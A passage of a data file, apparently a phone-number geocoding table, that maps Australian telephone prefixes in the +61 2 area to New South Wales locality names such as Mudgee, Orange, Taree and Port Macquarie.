'612532952':{'en': 'Dunedoo'},
'612532953':{'en': 'Euchareena'},
'612532954':{'en': 'Frogmore'},
'612532955':{'en': 'Galong'},
'612532956':{'en': 'Gingkin'},
'612532957':{'en': 'Glen Davis'},
'612532958':{'en': 'Gooloogong'},
'612532959':{'en': 'Greenethorpe'},
'612532960':{'en': 'Grenfell'},
'612532961':{'en': 'Gulgong'},
'612532962':{'en': 'Hampton'},
'612532963':{'en': 'Harden'},
'612532964':{'en': 'Hill End'},
'612532965':{'en': 'Kandos'},
'612532966':{'en': 'Killongbutta'},
'612532967':{'en': 'Koorawatha'},
'612532968':{'en': 'Laheys Creek'},
'612532969':{'en': 'Leadville'},
'612532970':{'en': 'Limekilns'},
'612532971':{'en': 'Lithgow'},
'612532972':{'en': 'Lue'},
'612532973':{'en': 'Lyndhurst'},
'612532974':{'en': 'Maimuru'},
'612532975':{'en': 'Manildra'},
'612532976':{'en': 'Meadow Flat'},
'612532977':{'en': 'Merriganowry'},
'612532978':{'en': 'Millthorpe'},
'612532979':{'en': 'Milvale'},
'612532980':{'en': 'Molong'},
'612532981':{'en': 'Monteagle'},
'612532982':{'en': 'Mudgee'},
'612532983':{'en': 'Murringo'},
'612532984':{'en': 'Neville'},
'612532985':{'en': 'Oberon'},
'612532986':{'en': 'Ooma'},
'612532987':{'en': 'Orange'},
'612532988':{'en': 'Portland'},
'612532989':{'en': 'Quandialla'},
'612532990':{'en': 'Reids Flat'},
'612532991':{'en': 'Rockley'},
'612532992':{'en': 'Running Stream'},
'612532993':{'en': 'Twelve Mile'},
'612532994':{'en': 'Tyagong'},
'612532995':{'en': 'Windeyer'},
'612532996':{'en': 'Wollar'},
'612532997':{'en': 'Woodstock'},
'612532998':{'en': 'Yetholme'},
'612532999':{'en': 'Young'},
'612533000':{'en': 'Baldry'},
'612533001':{'en': 'Bathurst'},
'612533002':{'en': 'Birriwa'},
'612533003':{'en': 'Blayney'},
'612533004':{'en': 'Boorowa'},
'612533005':{'en': 'Bribbaree'},
'612533006':{'en': 'Burraga'},
'612533007':{'en': 'Bylong'},
'612533008':{'en': 'Canowindra'},
'612533009':{'en': 'Caragabal'},
'612533010':{'en': 'Cassilis'},
'612533011':{'en': 'Coolah'},
'612533012':{'en': 'Cowra'},
'612533013':{'en': 'Cudal'},
'612533014':{'en': 'Cumnock'},
'612533015':{'en': 'Dunedoo'},
'612533016':{'en': 'Euchareena'},
'612533017':{'en': 'Frogmore'},
'612533018':{'en': 'Galong'},
'612533019':{'en': 'Gingkin'},
'612533020':{'en': 'Glen Davis'},
'612533021':{'en': 'Gooloogong'},
'612533022':{'en': 'Greenethorpe'},
'612533023':{'en': 'Grenfell'},
'612533024':{'en': 'Gulgong'},
'612533025':{'en': 'Hampton'},
'612533026':{'en': 'Harden'},
'612533027':{'en': 'Hill End'},
'612533028':{'en': 'Kandos'},
'612533029':{'en': 'Killongbutta'},
'612533030':{'en': 'Koorawatha'},
'612533031':{'en': 'Laheys Creek'},
'612533032':{'en': 'Leadville'},
'612533033':{'en': 'Limekilns'},
'612533034':{'en': 'Lithgow'},
'612533035':{'en': 'Lue'},
'612533036':{'en': 'Lyndhurst'},
'612533037':{'en': 'Maimuru'},
'612533038':{'en': 'Manildra'},
'612533039':{'en': 'Meadow Flat'},
'612533040':{'en': 'Merriganowry'},
'612533041':{'en': 'Millthorpe'},
'612533042':{'en': 'Milvale'},
'612533043':{'en': 'Molong'},
'612533044':{'en': 'Monteagle'},
'612533045':{'en': 'Mudgee'},
'612533046':{'en': 'Murringo'},
'612533047':{'en': 'Neville'},
'612533048':{'en': 'Oberon'},
'612533049':{'en': 'Ooma'},
'612533050':{'en': 'Orange'},
'612533051':{'en': 'Portland'},
'612533052':{'en': 'Quandialla'},
'612533053':{'en': 'Reids Flat'},
'612533054':{'en': 'Rockley'},
'612533055':{'en': 'Running Stream'},
'612533056':{'en': 'Twelve Mile'},
'612533057':{'en': 'Tyagong'},
'612533058':{'en': 'Windeyer'},
'612533059':{'en': 'Wollar'},
'612533060':{'en': 'Woodstock'},
'612533061':{'en': 'Yetholme'},
'612533062':{'en': 'Young'},
'61253307':{'en': 'Canowindra'},
'61253308':{'en': 'Harden'},
'61253309':{'en': 'Baldry'},
'61253320':{'en': 'Canowindra'},
'61253330':{'en': 'Dunedoo'},
'61253331':{'en': 'Dunedoo'},
'61253332':{'en': 'Dunedoo'},
'61253333':{'en': 'Orange'},
'61253334':{'en': 'Gulgong'},
'61253335':{'en': 'Bathurst'},
'61253336':{'en': 'Mudgee'},
'61253337':{'en': 'Mudgee'},
'61253338':{'en': 'Mudgee'},
'61253339':{'en': 'Hill End'},
'61253349':{'en': 'Hampton'},
'6125335':{'en': 'Orange'},
'61253350':{'en': 'Hampton'},
'61253351':{'en': 'Hampton'},
'61253355':{'en': 'Mudgee'},
'61253369':{'en': 'Running Stream'},
'61253380':{'en': 'Young'},
'61253381':{'en': 'Lyndhurst'},
'6125353':{'en': 'Orange'},
'6125354':{'en': 'Lithgow'},
'61253550':{'en': 'Bathurst'},
'61253551':{'en': 'Cowra'},
'61253552':{'en': 'Mudgee'},
'61253553':{'en': 'Blayney'},
'61253554':{'en': 'Young'},
'61253555':{'en': 'Harden'},
'61253556':{'en': 'Rockley'},
'61253557':{'en': 'Rockley'},
'61253558':{'en': 'Portland'},
'61253559':{'en': 'Portland'},
'61253560':{'en': 'Meadow Flat'},
'61253561':{'en': 'Meadow Flat'},
'61253562':{'en': 'Dunedoo'},
'61253563':{'en': 'Dunedoo'},
'61253564':{'en': 'Kandos'},
'61253565':{'en': 'Kandos'},
'61253566':{'en': 'Bylong'},
'61253567':{'en': 'Bylong'},
'61253568':{'en': 'Frogmore'},
'61253569':{'en': 'Frogmore'},
'61253570':{'en': 'Galong'},
'61253571':{'en': 'Galong'},
'61253572':{'en': 'Maimuru'},
'61253573':{'en': 'Maimuru'},
'61253574':{'en': 'Burraga'},
'61253575':{'en': 'Burraga'},
'61253576':{'en': 'Gingkin'},
'61253577':{'en': 'Gingkin'},
'61253578':{'en': 'Mudgee'},
'61253579':{'en': 'Orange'},
'61255000':{'en': 'Kempsey'},
'61255001':{'en': 'Singleton'},
'61255002':{'en': 'Macksville'},
'61255003':{'en': 'Smithtown'},
'61255004':{'en': 'Stuarts Point'},
'61255005':{'en': 'Taylors Arm'},
'61255006':{'en': 'Toorooka'},
'61255007':{'en': 'Lord Howe Island'},
'61255008':{'en': 'Baerami'},
'61255009':{'en': 'Bunnan'},
'61255010':{'en': 'Castle Rock'},
'61255011':{'en': 'Denman'},
'61255012':{'en': 'Ellerston'},
'61255013':{'en': 'Hunter Springs'},
'61255014':{'en': 'Idaville'},
'61255015':{'en': 'Comboyne'},
'61255016':{'en': 'Merriwa'},
'61255017':{'en': 'Moonan Flat'},
'61255018':{'en': 'Murrurundi'},
'61255019':{'en': 'Muswellbrook'},
'61255020':{'en': 'Scone'},
'61255021':{'en': 'Widden Valley'},
'61255022':{'en': 'Broke'},
'61255023':{'en': 'Glendonbrook'},
'61255024':{'en': 'Howes Valley'},
'61255025':{'en': 'Jerrys Plains'},
'61255026':{'en': 'Mount Olive'},
'61255027':{'en': 'Putty'},
'61255028':{'en': 'Ravensworth'},
'61255029':{'en': 'Coopernook'},
'61255030':{'en': 'Forster'},
'61255031':{'en': 'Gloucester'},
'61255032':{'en': 'Krambach'},
'61255033':{'en': 'Mount George'},
'61255034':{'en': 'Pacific Palms'},
'61255035':{'en': 'Rawdon Vale'},
'61255036':{'en': 'Rookhurst'},
'61255037':{'en': 'Taree'},
'61255038':{'en': 'Byabarra'},
'61255039':{'en': 'Ellenborough'},
'61255040':{'en': 'Port Macquarie'},
'61255041':{'en': 'Telegraph Point'},
'61255042':{'en': 'Muswellbrook'},
'61255043':{'en': 'Scone'},
'61255044':{'en': 'Singleton'},
'61255045':{'en': 'Port Macquarie'},
'61255046':{'en': 'Taree'},
'61255047':{'en': 'Kempsey'},
'61255048':{'en': 'Macksville'},
'61255049':{'en': 'Smithtown'},
'61255050':{'en': 'Stuarts Point'},
'61255051':{'en': 'Bowraville'},
'61255052':{'en': 'Comara'},
'61255053':{'en': 'Lord Howe Island'},
'61255054':{'en': 'Kempsey'},
'61255055':{'en': 'Macksville'},
'61255056':{'en': 'Smithtown'},
'61255057':{'en': 'Stuarts Point'},
'61255058':{'en': 'Taylors Arm'},
'61255059':{'en': 'Toorooka'},
'61255060':{'en': 'Comboyne'},
'61255061':{'en': 'Coopernook'},
'61255062':{'en': 'Forster'},
'61255063':{'en': 'Gloucester'},
'61255064':{'en': 'Muswellbrook'},
'61255065':{'en': 'Krambach'},
'61255066':{'en': 'Mount George'},
'61255067':{'en': 'Broke'},
'61255068':{'en': 'Pacific Palms'},
'61255069':{'en': 'Rawdon Vale'},
'61255070':{'en': 'Rookhurst'},
'61255071':{'en': 'Taree'},
'61255072':{'en': 'Byabarra'},
'61255073':{'en': 'Ellenborough'},
'61255074':{'en': 'Singleton'},
'61255075':{'en': 'Comboyne'},
'61255076':{'en': 'Coopernook'},
'61255077':{'en': 'Forster'},
'61255078':{'en': 'Gloucester'},
'61255079':{'en': 'Port Macquarie'},
'61255080':{'en': 'Telegraph Point'},
'61255081':{'en': 'Pacific Palms'},
'61255082':{'en': 'Port Macquarie'},
'61255083':{'en': 'Port Macquarie'},
'61255084':{'en': 'Taree'},
'61255085':{'en': 'Taree'},
'61255086':{'en': 'Baerami'},
'61255087':{'en': 'Port Macquarie'},
'61255088':{'en': 'Telegraph Point'},
'61255089':{'en': 'Kempsey'},
'61255090':{'en': 'Kempsey'},
'61255091':{'en': 'Macksville'},
'61255092':{'en': 'Macksville'},
'61255093':{'en': 'Smithtown'},
'61255094':{'en': 'Smithtown'},
'61255095':{'en': 'Comboyne'},
'61255096':{'en': 'Comboyne'},
'61255097':{'en': 'Coopernook'},
'61255098':{'en': 'Coopernook'},
'61255099':{'en': 'Forster'},
'61255100':{'en': 'Forster'},
'61255101':{'en': 'Krambach'},
'61255102':{'en': 'Krambach'},
'61255103':{'en': 'Krambach'},
'61255104':{'en': 'Krambach'},
'61255105':{'en': 'Pacific Palms'},
'61255106':{'en': 'Pacific Palms'},
'61255107':{'en': 'Rookhurst'},
'61255108':{'en': 'Rookhurst'},
'61255109':{'en': 'Taree'},
'61255110':{'en': 'Taree'},
'61255111':{'en': 'Byabarra'},
'61255112':{'en': 'Byabarra'},
'61255113':{'en': 'Port Macquarie'},
'61255114':{'en': 'Port Macquarie'},
'61255115':{'en': 'Telegraph Point'},
'61255116':{'en': 'Telegraph Point'},
'61255117':{'en': 'Stuarts Point'},
'61255118':{'en': 'Stuarts Point'},
'61255119':{'en': 'Bunnan'},
'61255120':{'en': 'Bunnan'},
'61255121':{'en': 'Castle Rock'},
'61255122':{'en': 'Castle Rock'},
'61255123':{'en': 'Denman'},
'61255124':{'en': 'Denman'},
'61255125':{'en': 'Idaville'},
'61255126':{'en': 'Idaville'},
'61255127':{'en': 'Merriwa'},
'61255128':{'en': 'Merriwa'},
'61255129':{'en': 'Murrurundi'},
'61255130':{'en': 'Murrurundi'},
'61255131':{'en': 'Muswellbrook'},
'61255132':{'en': 'Muswellbrook'},
'61255133':{'en': 'Scone'},
'61255134':{'en': 'Scone'},
'61255135':{'en': 'Forster'},
'61255136':{'en': 'Port Macquarie'},
'61255137':{'en': 'Broke'},
'61255138':{'en': 'Broke'},
'61255139':{'en': 'Forster'},
'61255140':{'en': 'Port Macquarie'},
'61255141':{'en': 'Port Macquarie'},
'61255142':{'en': 'Forster'},
'61255143':{'en': 'Lord Howe Island'},
'61255144':{'en': 'Macksville'},
'61255145':{'en': 'Port Macquarie'},
'61255146':{'en': 'Rookhurst'},
'61255147':{'en': 'Forster'},
'61255148':{'en': 'Glendonbrook'},
'61255149':{'en': 'Port Macquarie'},
'61255150':{'en': 'Port Macquarie'},
'61255151':{'en': 'Mount Olive'},
'61255152':{'en': 'Mount George'},
'61255153':{'en': 'Putty'},
'61255154':{'en': 'Smithtown'},
'61255155':{'en': 'Pacific Palms'},
'61255156':{'en': 'Widden Valley'},
'61255157':{'en': 'Merriwa'},
'61255158':{'en': 'Rookhurst'},
'61255159':{'en': 'Bowraville'},
'61255160':{'en': 'Broke'},
'61255161':{'en': 'Singleton'},
'61255162':{'en': 'Denman'},
'61255163':{'en': 'Comara'},
'61255164':{'en': 'Moonan Flat'},
'61255165':{'en': 'Castle Rock'},
'61255166':{'en': 'Macksville'},
'61255167':{'en': 'Byabarra'},
'61255168':{'en': 'Scone'},
'61255169':{'en': 'Bunnan'},
'61255170':{'en': 'Byabarra'},
'61255171':{'en': 'Muswellbrook'},
'61255172':{'en': 'Idaville'},
'61255173':{'en': 'Coopernook'},
'61255174':{'en': 'Broke'},
'61255175':{'en': 'Ellerston'},
'61255176':{'en': 'Krambach'},
'61255177':{'en': 'Hunter Springs'},
'61255178':{'en': 'Howes Valley'},
'61255179':{'en': 'Castle Rock'},
'61255180':{'en': 'Comara'},
'61255181':{'en': 'Gloucester'},
'61255182':{'en': 'Bunnan'},
'61255183':{'en': 'Baerami'},
'61255184':{'en': 'Ravensworth'},
'61255185':{'en': 'Telegraph Point'},
'61255186':{'en': 'Taree'},
'61255187':{'en': 'Jerrys Plains'},
'61255188':{'en': 'Comboyne'},
'61255189':{'en': 'Comboyne'},
'61255190':{'en': 'Coopernook'},
'61255191':{'en': 'Taylors Arm'},
'61255192':{'en': 'Bowraville'},
'61255193':{'en': 'Stuarts Point'},
'61255194':{'en': 'Toorooka'},
'61255195':{'en': 'Murrurundi'},
'61255196':{'en': 'Kempsey'},
'61255197':{'en': 'Ellenborough'},
'61255198':{'en': 'Port Macquarie'},
'61255199':{'en': 'Denman'},
'61255200':{'en': 'Ellenborough'},
'61255201':{'en': 'Rawdon Vale'},
'61255202':{'en': 'Forster'},
'61255203':{'en': 'Glendonbrook'},
'61255204':{'en': 'Mount Olive'},
'61255205':{'en': 'Mount George'},
'61255206':{'en': 'Putty'},
'61255207':{'en': 'Smithtown'},
'61255208':{'en': 'Pacific Palms'},
'61255209':{'en': 'Ellerston'},
'61255210':{'en': 'Forster'},
'61255211':{'en': 'Widden Valley'},
'61255212':{'en': 'Merriwa'},
'61255213':{'en': 'Lord Howe Island'},
'61255214':{'en': 'Singleton'},
'61255215':{'en': 'Denman'},
'61255216':{'en': 'Comara'},
'61255217':{'en': 'Moonan Flat'},
'61255218':{'en': 'Castle Rock'},
'61255219':{'en': 'Glendonbrook'},
'61255220':{'en': 'Gloucester'},
'61255221':{'en': 'Macksville'},
'61255222':{'en': 'Byabarra'},
'61255223':{'en': 'Scone'},
'61255224':{'en': 'Muswellbrook'},
'61255225':{'en': 'Idaville'},
'61255226':{'en': 'Coopernook'},
'61255227':{'en': 'Broke'},
'61255228':{'en': 'Ellerston'},
'61255229':{'en': 'Howes Valley'},
'61255230':{'en': 'Hunter Springs'},
'61255231':{'en': 'Krambach'},
'61255232':{'en': 'Hunter Springs'},
'61255233':{'en': 'Howes Valley'},
'61255234':{'en': 'Gloucester'},
'61255235':{'en': 'Bunnan'},
'61255236':{'en': 'Baerami'},
'61255237':{'en': 'Ravensworth'},
'61255238':{'en': 'Telegraph Point'},
'61255239':{'en': 'Idaville'},
'61255240':{'en': 'Port Macquarie'},
'61255241':{'en': 'Port Macquarie'},
'61255242':{'en': 'Port Macquarie'},
'61255243':{'en': 'Comara'},
'61255244':{'en': 'Comara'},
'61255245':{'en': 'Ellenborough'},
'61255246':{'en': 'Ellenborough'},
'61255247':{'en': 'Port Macquarie'},
'61255248':{'en': 'Rawdon Vale'},
'61255249':{'en': 'Rawdon Vale'},
'6125525':{'en': 'Port Macquarie'},
'61255256':{'en': 'Taree'},
'61255257':{'en': 'Jerrys Plains'},
'61255258':{'en': 'Comboyne'},
'61255259':{'en': 'Jerrys Plains'},
'6125526':{'en': 'Port Macquarie'},
'61255270':{'en': 'Kempsey'},
'61255271':{'en': 'Taylors Arm'},
'61255272':{'en': 'Bowraville'},
'61255273':{'en': 'Stuarts Point'},
'61255274':{'en': 'Toorooka'},
'61255275':{'en': 'Murrurundi'},
'61255276':{'en': 'Kempsey'},
'61255277':{'en': 'Ellenborough'},
'61255278':{'en': 'Port Macquarie'},
'61255279':{'en': 'Krambach'},
'61255280':{'en': 'Lord Howe Island'},
'61255281':{'en': 'Rawdon Vale'},
'61255282':{'en': 'Singleton'},
'61255283':{'en': 'Rookhurst'},
'61255284':{'en': 'Krambach'},
'61255285':{'en': 'Forster'},
'61255286':{'en': 'Hunter Springs'},
'61255287':{'en': 'Howes Valley'},
'61255288':{'en': 'Gloucester'},
'61255289':{'en': 'Macksville'},
'61255290':{'en': 'Merriwa'},
'61255291':{'en': 'Glendonbrook'},
'61255292':{'en': 'Mount Olive'},
'61255293':{'en': 'Bunnan'},
'61255294':{'en': 'Mount George'},
'61255295':{'en': 'Baerami'},
'61255296':{'en': 'Ravensworth'},
'61255297':{'en': 'Putty'},
'61255298':{'en': 'Smithtown'},
'61255299':{'en': 'Moonan Flat'},
'61255300':{'en': 'Mount George'},
'61255301':{'en': 'Telegraph Point'},
'61255302':{'en': 'Pacific Palms'},
'61255303':{'en': 'Widden Valley'},
'61255304':{'en': 'Merriwa'},
'61255305':{'en': 'Jerrys Plains'},
'61255306':{'en': 'Comboyne'},
'61255307':{'en': 'Lord Howe Island'},
'61255308':{'en': 'Denman'},
'61255309':{'en': 'Mount Olive'},
'61255310':{'en': 'Murrurundi'},
'61255311':{'en': 'Comara'},
'61255312':{'en': 'Taylors Arm'},
'61255313':{'en': 'Moonan Flat'},
'61255314':{'en': 'Bowraville'},
'61255315':{'en': 'Castle Rock'},
'61255316':{'en': 'Macksville'},
'61255317':{'en': 'Byabarra'},
'61255318':{'en': 'Stuarts Point'},
'61255319':{'en': 'Muswellbrook'},
'61255320':{'en': 'Pacific Palms'},
'61255321':{'en': 'Toorooka'},
'61255322':{'en': 'Murrurundi'},
'61255323':{'en': 'Idaville'},
'61255324':{'en': 'Kempsey'},
'61255325':{'en': 'Ellenborough'},
'61255326':{'en': 'Coopernook'},
'61255327':{'en': 'Broke'},
'61255328':{'en': 'Ellerston'},
'61255329':{'en': 'Port Macquarie'},
'61255330':{'en': 'Putty'},
'61255331':{'en': 'Rawdon Vale'},
'61255332':{'en': 'Ravensworth'},
'61255333':{'en': 'Rawdon Vale'},
'61255334':{'en': 'Rookhurst'},
'61255335':{'en': 'Scone'},
'61255336':{'en': 'Singleton'},
'61255337':{'en': 'Smithtown'},
'61255338':{'en': 'Stuarts Point'},
'61255339':{'en': 'Taree'},
'61255340':{'en': 'Ellenborough'},
'61255341':{'en': 'Port Macquarie'},
'61255342':{'en': 'Port Macquarie'},
'61255343':{'en': 'Port Macquarie'},
'61255344':{'en': 'Taylors Arm'},
'61255345':{'en': 'Telegraph Point'},
'61255346':{'en': 'Toorooka'},
'61255347':{'en': 'Widden Valley'},
'61255348':{'en': 'Baerami'},
'61255349':{'en': 'Bowraville'},
'61255350':{'en': 'Broke'},
'61255351':{'en': 'Bunnan'},
'61255352':{'en': 'Byabarra'},
'61255353':{'en': 'Castle Rock'},
'61255354':{'en': 'Comara'},
'61255355':{'en': 'Comboyne'},
'61255356':{'en': 'Coopernook'},
'61255357':{'en': 'Denman'},
'61255358':{'en': 'Ellenborough'},
'61255359':{'en': 'Ellerston'},
'61255360':{'en': 'Forster'},
'61255361':{'en': 'Glendonbrook'},
'61255362':{'en': 'Gloucester'},
'61255363':{'en': 'Howes Valley'},
'61255364':{'en': 'Hunter Springs'},
'61255365':{'en': 'Idaville'},
'61255366':{'en': 'Jerrys Plains'},
'61255367':{'en': 'Kempsey'},
'61255368':{'en': 'Krambach'},
'61255369':{'en': 'Lord Howe Island'},
'61255370':{'en': 'Macksville'},
'61255371':{'en': 'Merriwa'},
'61255372':{'en': 'Moonan Flat'},
'61255373':{'en': 'Mount George'},
'61255374':{'en': 'Mount Olive'},
'61255375':{'en': 'Murrurundi'},
'61255376':{'en': 'Muswellbrook'},
'61255377':{'en': 'Pacific Palms'},
'61255378':{'en': 'Port Macquarie'},
'61255379':{'en': 'Putty'},
'61255380':{'en': 'Ravensworth'},
'61255381':{'en': 'Rawdon Vale'},
'61255382':{'en': 'Rookhurst'},
'61255383':{'en': 'Scone'},
'61255384':{'en': 'Singleton'},
'61255385':{'en': 'Smithtown'},
'61255386':{'en': 'Stuarts Point'},
'61255387':{'en': 'Taree'},
'61255388':{'en': 'Taylors Arm'},
'61255389':{'en': 'Telegraph Point'},
'61255390':{'en': 'Toorooka'},
'61255391':{'en': 'Widden Valley'},
'61255392':{'en': 'Baerami'},
'61255393':{'en': 'Bowraville'},
'61255394':{'en': 'Broke'},
'61255395':{'en': 'Bunnan'},
'61255396':{'en': 'Byabarra'},
'61255397':{'en': 'Castle Rock'},
'61255398':{'en': 'Comara'},
'61255399':{'en': 'Comboyne'},
'61255400':{'en': 'Coopernook'},
'61255401':{'en': 'Denman'},
'61255402':{'en': 'Ellenborough'},
'61255403':{'en': 'Ellerston'},
'61255404':{'en': 'Forster'},
'61255405':{'en': 'Glendonbrook'},
'61255406':{'en': 'Gloucester'},
'61255407':{'en': 'Howes Valley'},
'61255408':{'en': 'Hunter Springs'},
'61255409':{'en': 'Idaville'},
'61255410':{'en': 'Jerrys Plains'},
'61255411':{'en': 'Kempsey'},
'61255412':{'en': 'Krambach'},
'61255413':{'en': 'Lord Howe Island'},
'61255414':{'en': 'Macksville'},
'61255415':{'en': 'Merriwa'},
'61255416':{'en': 'Moonan Flat'},
'61255417':{'en': 'Mount George'},
'61255418':{'en': 'Mount Olive'},
'61255419':{'en': 'Murrurundi'},
'61255420':{'en': 'Muswellbrook'},
'61255421':{'en': 'Pacific Palms'},
'61255422':{'en': 'Port Macquarie'},
'61255423':{'en': 'Putty'},
'61255424':{'en': 'Ravensworth'},
'61255425':{'en': 'Rawdon Vale'},
'61255426':{'en': 'Rookhurst'},
'61255427':{'en': 'Scone'},
'61255428':{'en': 'Singleton'},
'61255429':{'en': 'Smithtown'},
'61255430':{'en': 'Stuarts Point'},
'61255431':{'en': 'Taree'},
'61255432':{'en': 'Taylors Arm'},
'61255433':{'en': 'Telegraph Point'},
'61255434':{'en': 'Toorooka'},
'61255435':{'en': 'Widden Valley'},
'61255436':{'en': 'Forster'},
'61255437':{'en': 'Forster'},
'61255438':{'en': 'Port Macquarie'},
'61255439':{'en': 'Port Macquarie'},
'61255440':{'en': 'Taree'},
'61255441':{'en': 'Taree'},
'61255442':{'en': 'Muswellbrook'},
'61255443':{'en': 'Gloucester'},
'61255444':{'en': 'Gloucester'},
'61255445':{'en': 'Gloucester'},
'61255446':{'en': 'Telegraph Point'},
'61255447':{'en': 'Telegraph Point'},
'61255448':{'en': 'Telegraph Point'},
'61255449':{'en': 'Baerami'},
'61255455':{'en': 'Bowraville'},
'61255456':{'en': 'Broke'},
'61255457':{'en': 'Bunnan'},
'61255458':{'en': 'Byabarra'},
'61255459':{'en': 'Castle Rock'},
'61255460':{'en': 'Comara'},
'61255461':{'en': 'Comboyne'},
'61255462':{'en': 'Coopernook'},
'61255463':{'en': 'Denman'},
'61255464':{'en': 'Ellenborough'},
'61255465':{'en': 'Ellerston'},
'61255466':{'en': 'Forster'},
'61255467':{'en': 'Glendonbrook'},
'61255468':{'en': 'Gloucester'},
'61255469':{'en': 'Howes Valley'},
'61255470':{'en': 'Hunter Springs'},
'61255471':{'en': 'Idaville'},
'61255472':{'en': 'Jerrys Plains'},
'61255473':{'en': 'Kempsey'},
'61255474':{'en': 'Krambach'},
'61255475':{'en': 'Lord Howe Island'},
'61255476':{'en': 'Port Macquarie'},
'61255477':{'en': 'Port Macquarie'},
'61255478':{'en': 'Port Macquarie'},
'61255479':{'en': 'Port Macquarie'},
'61255480':{'en': 'Baerami'},
'61255481':{'en': 'Bowraville'},
'61255482':{'en': 'Broke'},
'61255483':{'en': 'Bunnan'},
'61255484':{'en': 'Byabarra'},
'61255485':{'en': 'Castle Rock'},
'61255486':{'en': 'Comara'},
'61255487':{'en': 'Comboyne'},
'61255488':{'en': 'Coopernook'},
'61255489':{'en': 'Denman'},
'61255490':{'en': 'Ellenborough'},
'61255491':{'en': 'Ellerston'},
'61255492':{'en': 'Forster'},
'61255493':{'en': 'Glendonbrook'},
'61255494':{'en': 'Gloucester'},
'61255495':{'en': 'Howes Valley'},
'61255496':{'en': 'Hunter Springs'},
'61255497':{'en': 'Idaville'},
'61255498':{'en': 'Jerrys Plains'},
'61255499':{'en': 'Kempsey'},
'61255510':{'en': 'Denman'},
'61255511':{'en': 'Ellerston'},
'61255512':{'en': 'Idaville'},
'61255513':{'en': 'Merriwa'},
'61255514':{'en': 'Moonan Flat'},
'61255515':{'en': 'Murrurundi'},
'61255516':{'en': 'Muswellbrook'},
'61255517':{'en': 'Scone'},
'61255518':{'en': 'Widden Valley'},
'61255519':{'en': 'Baerami'},
'61255520':{'en': 'Castle Rock'},
'61255521':{'en': 'Bunnan'},
'61255522':{'en': 'Hunter Springs'},
'61255523':{'en': 'Putty'},
'61255524':{'en': 'Mount Olive'},
'61255525':{'en': 'Glendonbrook'},
'61255526':{'en': 'Howes Valley'},
'61255527':{'en': 'Broke'},
'61255528':{'en': 'Jerrys Plains'},
'61255529':{'en': 'Ravensworth'},
'61255530':{'en': 'Singleton'},
'61255531':{'en': 'Mount George'},
'61255532':{'en': 'Mount George'},
'61255533':{'en': 'Comara'},
'61255534':{'en': 'Comara'},
'61255535':{'en': 'Baerami'},
'61255536':{'en': 'Baerami'},
'61255537':{'en': 'Ellerston'},
'61255538':{'en': 'Ellerston'},
'61255539':{'en': 'Hunter Springs'},
'61255540':{'en': 'Hunter Springs'},
'61255541':{'en': 'Moonan Flat'},
'61255542':{'en': 'Moonan Flat'},
'61255543':{'en': 'Widden Valley'},
'61255544':{'en': 'Widden Valley'},
'61255545':{'en': 'Bowraville'},
'61255546':{'en': 'Bowraville'},
'61255547':{'en': 'Taylors Arm'},
'61255548':{'en': 'Taylors Arm'},
'61255549':{'en': 'Toorooka'},
'61255550':{'en': 'Toorooka'},
'61255551':{'en': 'Gloucester'},
'61255552':{'en': 'Gloucester'},
'61255553':{'en': 'Glendonbrook'},
'61255554':{'en': 'Glendonbrook'},
'61255555':{'en': 'Port Macquarie'},
'61255556':{'en': 'Port Macquarie'},
'61255557':{'en': 'Taree'},
'61255558':{'en': 'Forster'},
'61255559':{'en': 'Krambach'},
'61255560':{'en': 'Forster'},
'61255561':{'en': 'Forster'},
'61255562':{'en': 'Forster'},
'61255563':{'en': 'Forster'},
'61255564':{'en': 'Forster'},
'61255565':{'en': 'Gloucester'},
'61255566':{'en': 'Gloucester'},
'61255567':{'en': 'Gloucester'},
'61255568':{'en': 'Lord Howe Island'},
'61255569':{'en': 'Macksville'},
'61255570':{'en': 'Merriwa'},
'61255571':{'en': 'Moonan Flat'},
'61255572':{'en': 'Mount George'},
'61255573':{'en': 'Mount Olive'},
'61255574':{'en': 'Murrurundi'},
'61255575':{'en': 'Muswellbrook'},
'61255576':{'en': 'Pacific Palms'},
'61255577':{'en': 'Port Macquarie'},
'61255578':{'en': 'Putty'},
'61255579':{'en': 'Ravensworth'},
'61255580':{'en': 'Rawdon Vale'},
'61255581':{'en': 'Rookhurst'},
'61255582':{'en': 'Scone'},
'61255583':{'en': 'Singleton'},
'61255584':{'en': 'Smithtown'},
'61255585':{'en': 'Stuarts Point'},
'61255586':{'en': 'Taree'},
'61255587':{'en': 'Taylors Arm'},
'61255588':{'en': 'Telegraph Point'},
'61255589':{'en': 'Toorooka'},
'61255590':{'en': 'Widden Valley'},
'61255591':{'en': 'Taree'},
'61255592':{'en': 'Taree'},
'61255593':{'en': 'Taree'},
'61255594':{'en': 'Kempsey'},
'61255595':{'en': 'Kempsey'},
'61255596':{'en': 'Kempsey'},
'61255597':{'en': 'Macksville'},
'61255598':{'en': 'Merriwa'},
'61255599':{'en': 'Moonan Flat'},
'61255600':{'en': 'Mount George'},
'61255601':{'en': 'Mount Olive'},
'61255602':{'en': 'Murrurundi'},
'61255603':{'en': 'Muswellbrook'},
'61255604':{'en': 'Pacific Palms'},
'61255605':{'en': 'Port Macquarie'},
'61255606':{'en': 'Putty'},
'61255607':{'en': 'Ravensworth'},
'61255608':{'en': 'Rawdon Vale'},
'61255609':{'en': 'Rookhurst'},
'61255610':{'en': 'Scone'},
'61255611':{'en': 'Singleton'},
'61255612':{'en': 'Smithtown'},
'61255613':{'en': 'Stuarts Point'},
'61255614':{'en': 'Taree'},
'61255615':{'en': 'Taylors Arm'},
'61255616':{'en': 'Telegraph Point'},
'61255617':{'en': 'Toorooka'},
'61255618':{'en': 'Widden Valley'},
'61255619':{'en': 'Taree'},
'61255620':{'en': 'Bowraville'},
'61255621':{'en': 'Broke'},
'61255622':{'en': 'Bunnan'},
'61255623':{'en': 'Byabarra'},
'61255624':{'en': 'Castle Rock'},
'61255625':{'en': 'Comara'},
'61255626':{'en': 'Comboyne'},
'61255627':{'en': 'Coopernook'},
'61255628':{'en': 'Denman'},
'61255629':{'en': 'Ellenborough'},
'61255630':{'en': 'Ellerston'},
'61255631':{'en': 'Forster'},
'61255632':{'en': 'Glendonbrook'},
'61255633':{'en': 'Gloucester'},
'61255634':{'en': 'Howes Valley'},
'61255635':{'en': 'Hunter Springs'},
'61255636':{'en': 'Idaville'},
'61255637':{'en': 'Jerrys Plains'},
'61255638':{'en': 'Kempsey'},
'61255639':{'en': 'Krambach'},
'61255640':{'en': 'Lord Howe Island'},
'61255641':{'en': 'Macksville'},
'61255642':{'en': 'Merriwa'},
'61255643':{'en': 'Moonan Flat'},
'61255644':{'en': 'Mount George'},
'61255645':{'en': 'Mount Olive'},
